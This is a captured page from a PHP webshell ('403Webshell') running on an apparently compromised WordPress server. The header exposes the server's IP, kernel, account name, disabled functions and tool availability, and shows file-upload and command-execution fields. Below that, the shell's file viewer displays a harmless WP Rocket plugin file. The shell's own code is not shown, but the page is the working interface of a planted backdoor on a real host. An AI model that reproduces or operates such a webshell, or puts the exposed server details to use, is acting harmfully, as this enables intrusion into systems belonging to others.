403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/.trash/wp-content/plugins/wp-rocket/inc/ThirdParty/Plugins/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/.trash/wp-content/plugins/wp-rocket/inc/ThirdParty/Plugins/ThirstyAffiliates.php
<?php
declare( strict_types=1 );

namespace WP_Rocket\ThirdParty\Plugins;

use WP_Rocket\Event_Management\Subscriber_Interface;

class ThirstyAffiliates implements Subscriber_Interface {
	/**
	 * Returns an array of events this subscriber listens to.
	 *
	 * @return array
	 */
	public static function get_subscribed_events() {
		return [
			'rocket_preload_links_exclusions' => [ 'exclude_link_prefix', PHP_INT_MAX, 2 ],
		];
	}

	/**
	 * Excludes the link prefix from preload links
	 *
	 * @since 3.10.8
	 *
	 * @param string[] $excluded Array of excluded patterns.
	 * @param string[] $default Array of default excluded patterns.
	 *
	 * @return array
	 */
	public function exclude_link_prefix( $excluded, $default ): array {
		if ( ! is_array( $excluded ) ) { // @phpstan-ignore-line
			$excluded = (array) $excluded;
		}

		if ( ! is_plugin_active( 'thirstyaffiliates/thirstyaffiliates.php' ) ) {
			return $excluded;
		}

		$excluded    = array_diff( $excluded, $default );
		$link_prefix = get_option( 'ta_link_prefix', 'recommends' );

		if ( 'custom' === $link_prefix ) {
			$link_prefix = get_option( 'ta_link_prefix_custom', 'recommends' );
		}

		$excluded[] = '/' . $link_prefix . '/';

		return $excluded;
	}
}

Youez - 2016 - github.com/yon3zu